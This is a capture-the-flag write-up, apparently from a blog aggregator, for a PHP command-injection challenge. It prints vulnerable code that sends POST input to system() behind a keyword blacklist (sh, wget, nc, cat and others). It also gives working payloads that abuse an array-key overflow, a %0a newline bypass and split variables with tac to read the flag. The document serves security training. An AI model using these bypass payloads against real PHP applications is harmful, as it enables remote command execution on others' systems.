当前位置:网站首页>Attack and defense world web question -favorite_ number
Attack and defense world web question -favorite_ number
2022-07-26 00:40:00 【Try to be a big man M0_ sixty-eight million seventy-four thousa】
Code audit
The source code is given directly , Conduct code audit .
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
First post Pass in the parameter , There are two parameters passed in , One stuff, One num, First stuff It has to be with array The type and value of the array are exactly the same , however stuff[0] It can't be admin, after num It has to be numbers , And set blacklist filtering , Final output .
PHP5.5.9 Integer overflow vulnerability
stay php5.5.9 In version , When the array is nine 16 Number of hours , It will overflow , Equivalent to reordering ,16 Of 8 The power is 4294967296 Logically equivalent to subscript 0. So we can use 4294967296 Treat it as a zero subscript to bypass sutff[0]!=‘admin’.
bp Grab and replay payload:stuff[4294967296]=admin&stuff[1]=user&num=123
preg_match() Bypass
first preg_match() Bypass ,preg_match() Will not match newline , have access to %0a To bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aasd
Successfully bypassed .
View file first .
It can be executed , After searching, I found flag In the root directory 
Finally, bypass the blacklist cat It is filtered and can be used tac Open up
cat: Start with the first line , And output all the content
tac: Show the contents in reverse order from the last line , And output all the content
flag You can bypass .payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aa=ag;b=fl;tac /$b$a
Succeed in getting flag.
边栏推荐
- [IJCAI 2022] parameter efficient large model sparse training method, which greatly reduces the resources required for sparse training
- The way to understand JS: the principle of object.call and object.create() inheritance
- JVM 三色标记法与读写屏障
- HCIP 第十一天
- Verilog语法基础HDL Bits训练 05
- 8个小妙招调整数据库性能优化,yyds
- letfaw
- Master MySQL in an article
- [redis] ① introduction and installation of redis
- GOM and GEE engine black screen does not display the interface, and the solution of equipping map monsters
猜你喜欢

Tid-mop: a comprehensive framework for security management and control under the scenario of data exchange
![[calculate the number of times that one string is equal to another string]](/img/82/db8ed70464df46c7a700c65d208fef.png)
[calculate the number of times that one string is equal to another string]

数据流通交易场景下数据质量综合管理体系与技术框架研究

Hoops exchange helps hybrid computational fluid dynamics software build 3D format import and read function | customer case

TID-MOP:面向数据交易所场景下的安全管控综合框架

Super super super realistic digital people! Keep you on the air 24 hours a day

Hcip day 11

Azure Synapse Analytics 性能优化指南(1)——使用有序聚集列存储索引优化性能

LCA three postures (multiplication, tarjan+ joint search set, tree chain dissection)

GOM and GEE engine black screen does not display the interface, and the solution of equipping map monsters
随机推荐
数据库工具对决:HeidiSQL 与 Navicat
The way of understanding JS: write a perfect combination inheritance (Es5)
YOLOV2 YOLO9000
TID-MOP:面向数据交易所场景下的安全管控综合框架
以数据驱动管理转型,元年科技正当时
BGP comprehensive experiment
向左旋转k个字符串(细节)
Redis(八) - Redis企业实战之优惠券秒杀
Master MySQL in an article
Wechat applet dynamic style | parameter transfer
进程与线程
2022/7/24 examination summary
[paper notes] - target attitude estimation Epro PNP 2022 CVPR
In order to grasp the redis data structure, I drew 40 pictures (full version)
从另一个角度告诉你单元测试的意义
攻防世界web题-favorit_number
【零基础玩转BLDC系列】基于反电动势过零检测法的无刷直流电机控制原理
[contents] mqtt, nodejs projects
[untitled] how to realize pluggable configuration?
@The difference between requestparam and @pathvariable annotations